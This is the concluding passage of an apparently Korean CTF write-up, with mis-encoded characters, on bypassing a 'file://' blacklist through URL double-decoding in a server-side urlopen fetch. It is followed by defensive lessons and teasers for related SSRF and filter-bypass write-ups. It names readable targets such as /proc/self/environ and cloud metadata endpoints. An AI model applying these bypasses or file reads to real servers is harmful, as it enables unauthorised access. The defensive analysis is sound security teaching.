urlopen ์ธ์ž๋ฅผ ์†์œผ๋กœ ์กฐ๋ฆฝํ•  ๋•Œ๋งŒ ๋‘ ๊ฒน. ๋ธŒ๋ผ์šฐ์ € ํผ์œผ๋กœ ์‹คํ—˜ํ•˜๋ฉด ํ•œ ๊ฒน์œผ๋กœ๋„ ๋˜๋‹ˆ๊นŒ, ์–ด๋А ๊ฒฝ๋กœ๋กœ ๋ณด๋‚ด๋Š”์ง€์— ๋”ฐ๋ผ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๋‹ฌ๋ผ์ง„๋‹ค๋Š” ๊ฒƒ์„ ๊ธฐ์–ตํ•ด์•ผ ํ—ท๊ฐˆ๋ฆฌ์ง€ ์•Š๋Š”๋‹ค.

๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ ์ตœ์ข… ํ™•์ธํ•  ๋•Œ๋Š” ์ด๋ ‡๊ฒŒ ๋ถ€๋ฅธ๋‹ค.

./reproduce.sh http://host3.dreamhack.games:22580


๐Ÿ“ ๊ฒฐ๋ก 

๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋Š” ์ž๊ธฐ๊ฐ€ ๊ฒ€์‚ฌํ•œ ๋ฌธ์ž์—ด์ด ๋‚˜์ค‘์— ๋ฌด์—‡์œผ๋กœ ๋ณ€ํ•˜๋Š”์ง€ ๋ชจ๋ฅธ๋‹ค.

์ด ๋ฌธ์ œ์˜ ํ•„ํ„ฐ๋Š” ๋‘ ๊ฒน ๋‹ค ๋ฌธ์ž์—ด ๊ฒ€์‚ฌ์˜€๋‹ค. startswith๋Š” ์ ‘๋‘์–ด๋ฅผ, in์€ ๋ถ€๋ถ„ ๋ฌธ์ž์—ด์„ ๋ณธ๋‹ค. ๋‘˜ ๋‹ค "์ง€๊ธˆ ์ด ๋ฌธ์ž์—ด"์— ๋Œ€ํ•œ ํŒ๋‹จ์ด๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๊ทธ ๋ฌธ์ž์—ด์€ urlopen ์•ˆ์—์„œ ํŒŒ์‹ฑ๋˜๊ณ , url2pathname์—์„œ ํ•œ ๋ฒˆ ๋” ๋””์ฝ”๋”ฉ๋œ ๋‹ค์Œ์—์•ผ open์— ๋„๋‹ฌํ•œ๋‹ค. ๊ฒ€์‚ฌํ•œ ๊ฐ’๊ณผ ์‹คํ–‰๋˜๋Š” ๊ฐ’์ด ๋‹ค๋ฅธ ๊ฒƒ์ด๋‹ค.

๊ทธ๋ž˜์„œ ์ˆœ์„œ๋ฅผ ๋’ค์ง‘์–ด์•ผ ํ•œ๋‹ค. ๊ฒ€์‚ฌ ์ „์— ์ •๊ทœํ™”๋ฅผ ๋จผ์ € ํ•ด์•ผ ํ•œ๋‹ค. unquote๋ฅผ ํ•„์š”ํ•œ ๋งŒํผ ๋ฐ˜๋ณตํ•ด ๊ณ ์ •์ ์— ๋„๋‹ฌ์‹œํ‚ค๊ณ , urlsplit์œผ๋กœ ์Šคํ‚ด๊ณผ ๊ฒฝ๋กœ๋ฅผ ์ชผ๊ฐ  ๋‹ค์Œ, ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ๋†“๊ณ  ํŒ๋‹จํ•œ๋‹ค.

๋ง‰์„ ๊ฒƒ์€ ๋ฌธ์ž์—ด์ด ์•„๋‹ˆ๋ผ ์Šคํ‚ด์ด๋‹ค.

file://๋ฅผ ๊ธˆ์ง€์–ด๋กœ ๋„ฃ๋Š” ๋Œ€์‹  urlsplit(url).scheme๋ฅผ ๋ฝ‘์•„ {"http", "https"}์— ์žˆ๋Š”์ง€๋งŒ ํ™•์ธํ•˜๋ฉด ์ด ๊ธ€์˜ ์šฐํšŒ๋Š” ์ „๋ถ€ ๋ฌดํšจ๊ฐ€ ๋œ๋‹ค. file:/๋„ FILE:๋„ f%69le:๋„ ํŒŒ์‹ฑํ•˜๋ฉด ์Šคํ‚ด์€ file์ด๋‹ค. ํ—ˆ์šฉ๋ชฉ๋ก์€ ๋‚ด๊ฐ€ ๋ชจ๋ฅด๋Š” ์Šคํ‚ด๊นŒ์ง€ ๊ฐ™์ด ๋ง‰์•„ ์ค€๋‹ค โ€” ftp, data, ํŒŒ์ด์ฌ ๋ฒ„์ „์— ๋”ฐ๋ผ ๋Š˜์–ด๋‚˜๋Š” ํ•ธ๋“ค๋Ÿฌ๊นŒ์ง€.

ํ”Œ๋ž˜๊ทธ ํŒŒ์ผ ์ด๋ฆ„์„ ๊ฐ์ถ”๋Š” ๊ฒƒ์€ ๋Œ€์ฑ…์ด ์•„๋‹ˆ๋‹ค.

"flag" in url์€ ํŒŒ์ผ ์ด๋ฆ„์„ ์•„๋Š” ๊ณต๊ฒฉ์ž๋ฅผ ๋ง‰๋Š” ์žฅ์น˜์ธ๋ฐ, ์• ์ดˆ์— ๋ฌธ์ œ ์„ค๋ช…์ด /flag.txt๋ผ๊ณ  ์•Œ๋ ค ์ค€๋‹ค. ์ด๋ฆ„์„ ๊ฐ€๋ ค๋„ /proc/self/environ์ด๋‚˜ /app/app.py์ฒ˜๋Ÿผ ์ฝ์„ ๋งŒํ•œ ๊ฒƒ์€ ์–ผ๋งˆ๋“ ์ง€ ์žˆ๋‹ค. ์ฝ๊ธฐ ์ž์ฒด๋ฅผ ๋ง‰์ง€ ์•Š์œผ๋ฉด ๋ฌด์—‡์„ ์ฝํžˆ๋“  ์‹œ๊ฐ„๋ฌธ์ œ๋‹ค.

์„œ๋ฒ„๊ฐ€ ๋Œ€์‹  ์š”์ฒญํ•ด ์ฃผ๋Š” ๊ธฐ๋Šฅ์€ ๊ทธ ์ž์ฒด๋กœ ๊ถŒํ•œ ์Šน๊ฒฉ์ด๋‹ค.

์‚ฌ์šฉ์ž๋Š” ์ปจํ…Œ์ด๋„ˆ ์•ˆ ํŒŒ์ผ์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์ง€๋งŒ, urlopen์„ ๋Œ€์‹  ํ˜ธ์ถœํ•ด ์ฃผ๋Š” ์—”๋“œํฌ์ธํŠธ๊ฐ€ ์žˆ์œผ๋ฉด ์„œ๋ฒ„์˜ ๊ถŒํ•œ์œผ๋กœ ํŒŒ์ผ์„ ์ฝ๊ฒŒ ๋œ๋‹ค. ๋‚ด๋ถ€๋ง ์ฃผ์†Œ๋‚˜ ํด๋ผ์šฐ๋“œ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์—”๋“œํฌ์ธํŠธ๋„ ๊ฐ™์€ ์ด์œ ๋กœ ์œ„ํ—˜ํ•˜๋‹ค. ์ด ๊ธฐ๋Šฅ์„ ์—ด๋ ค๋ฉด ์Šคํ‚ด ํ—ˆ์šฉ๋ชฉ๋ก๊ณผ ํ•จ๊ป˜ DNS ํ•ด์„ ๊ฒฐ๊ณผ๊ฐ€ ์‚ฌ์„ค ๋Œ€์—ญ์ธ์ง€๊นŒ์ง€ ๋ด์•ผ ํ•œ๋‹ค. chmod 444๋กœ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ฝ๊ธฐ ์ „์šฉ์œผ๋กœ ๋งŒ๋“ค์–ด ๋‘” ๊ฒƒ์ด ๋ฐฉ์–ด๊ฐ€ ๋˜์ง€ ๋ชปํ•œ ์ด์œ ๋„ ๊ฐ™๋‹ค. ๋ง‰์•„์•ผ ํ–ˆ๋˜ ๊ฑด ์“ฐ๊ธฐ๊ฐ€ ์•„๋‹ˆ๋ผ ์ฝ๊ธฐ์˜€๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 2] ์ฝœ๋ก  ํ•˜๋‚˜๋กœ ๋นˆ ํ˜ธ์ŠคํŠธ๋ฅผ ๋งŒ๋“ค์–ด file:// ์„ ํ†ต๊ณผ์‹œํ‚จ๋‹ค โ€” DreamHack web-HTTP-CLI ํ’€์ด
blog

[๐Ÿฅˆ Silver 2] ์ฝœ๋ก  ํ•˜๋‚˜๋กœ ๋นˆ ํ˜ธ์ŠคํŠธ๋ฅผ ๋งŒ๋“ค์–ด file:// ์„ ํ†ต๊ณผ์‹œํ‚จ๋‹ค โ€” DreamHack web-HTTP-CLI ํ’€์ด

URL ์„ ๋ฐ›์•„ ๋Œ€์‹  ๊ธ์–ด๋‹ค ์ฃผ๋Š” 43์ค„์งœ๋ฆฌ TCP ์„œ๋น„์Šค. ํ˜ธ์ŠคํŠธ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋Š” ๋ˆˆ์— ์ž˜ ๋„๋Š”๋ฐ, ์ •์ž‘ ๋Œ€๋ถ€๋ถ„์˜ ์‹œ๋„๋ฅผ ์ฃฝ์ด๋Š” ๊ฑด ๊ทธ ์œ„์— ์žˆ๋Š” ํŠœํ”Œ ์–ธํŒจํ‚น์ด๋‹ค. netloc ์„ ์ฝœ๋ก ์œผ๋กœ ์ชผ๊ฐ  ๊ฒฐ๊ณผ๊ฐ€ ์›์†Œ 2๊ฐœ๊ฐ€ ์•„๋‹ˆ๋ฉด ๊ฒ€์‚ฌ์— ๋‹ฟ๊ธฐ๋„ ์ „์— ValueError ๋กœ ๋‚ ์•„๊ฐ„๋‹ค. netloc ์„ ์ฝœ๋ก  ํ•˜๋‚˜๋กœ๋งŒ ์ฑ„์šฐ๋ฉด ํ˜ธ์ŠคํŠธ๊ฐ€ ๋นˆ ๋ฌธ์ž์—ด์ด ๋˜๊ณ , urllib ์€ ๋นˆ ํ˜ธ์ŠคํŠธ๋ฅผ ๋กœ์ปฌ๋กœ ๋ณด๊ณ  ํŒŒ์ผ์„ ์—ด์–ด ์ค€๋‹ค.
#dreamhack#ctf#web+6
2026-07-29#dreamhack +6
[๐Ÿฅˆ Silver 2] SSRF๋กœ ๋‚ด๋ถ€ ํฌํŠธ ์Šค์บ” โ€” netloc ๋ฌธ์ž์—ด ํ•„ํ„ฐ๋ฅผ 0.0.0.0์œผ๋กœ ์šฐํšŒ โ€” DreamHack web-ssrf ํ’€์ด
blog

[๐Ÿฅˆ Silver 2] SSRF๋กœ ๋‚ด๋ถ€ ํฌํŠธ ์Šค์บ” โ€” netloc ๋ฌธ์ž์—ด ํ•„ํ„ฐ๋ฅผ 0.0.0.0์œผ๋กœ ์šฐํšŒ โ€” DreamHack web-ssrf ํ’€์ด

์ด๋ฏธ์ง€ ๋ทฐ์–ด๊ฐ€ ์ž…๋ ฅํ•œ URL์„ ์„œ๋ฒ„๊ฐ€ ๋Œ€์‹  ๊ฐ€์ ธ์™€ ๋ณด์—ฌ์ค€๋‹ค. ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค ์•ˆ์— flag.txt๋ฅผ ์„œ๋น™ํ•˜๋Š” ๋‚ด๋ถ€ SimpleHTTPRequestHandler๊ฐ€ 1500~1800 ์ค‘ ํ•œ ํฌํŠธ์— ๋–  ์žˆ๋‹ค. ํ•„ํ„ฐ๋Š” netloc์— `127.0.0.1`/`localhost` ๋ฌธ์ž์—ด์ด ์žˆ๋Š”์ง€๋งŒ ๋ณด๋ฏ€๋กœ, ๊ฐ™์€ loopback์„ ๊ฐ€๋ฆฌํ‚ค๋Š” `0.0.0.0`์œผ๋กœ ์šฐํšŒํ•˜๊ณ  ํฌํŠธ๋ฅผ ์ „์ˆ˜ ์Šค์บ”ํ•ด flag.txt๋ฅผ ์ฝ์—ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-24#dreamhack +5
[๐Ÿฅ‰ Bronze 3] base64 ๋ธ”๋ก์„ ๋ฐ˜์นธ ๋ฐ€์–ด ํ•„ํ„ฐ๋ฅผ ๋น ์ ธ๋‚˜๊ฐ€๋‹ค โ€” DreamHack Base64 based ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] base64 ๋ธ”๋ก์„ ๋ฐ˜์นธ ๋ฐ€์–ด ํ•„ํ„ฐ๋ฅผ ๋น ์ ธ๋‚˜๊ฐ€๋‹ค โ€” DreamHack Base64 based ํ’€์ด

ํŒŒ์ผ๋ช…์„ base64๋กœ ๋ฐ›์•„ includeํ•˜๋Š” PHP ์•ฑ์ธ๋ฐ, ์ธ์ฝ”๋”ฉ๋œ ๋ฌธ์ž์—ด์— flagยทhpยท../์˜ base64 ์กฐ๊ฐ์ด ์žˆ์œผ๋ฉด ๋ง‰๋Š”๋‹ค. flag.php์˜ ์ •์งํ•œ base64๋Š” ๊ทธ ์กฐ๊ฐ์„ ๊ทธ๋Œ€๋กœ ํ’ˆ๋Š”๋‹ค. ์•ž์— ./๋ฅผ ๋ถ™์—ฌ 3๋ฐ”์ดํŠธ ๋ธ”๋ก ์ •๋ ฌ์„ ๋ฐ˜์นธ ๋ฐ€๋ฉด ์กฐ๊ฐ์ด ์ชผ๊ฐœ์ ธ ํ•„ํ„ฐ๊ฐ€ ํ†ต์งธ๋กœ ํ—›๋ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-07-12#dreamhack +5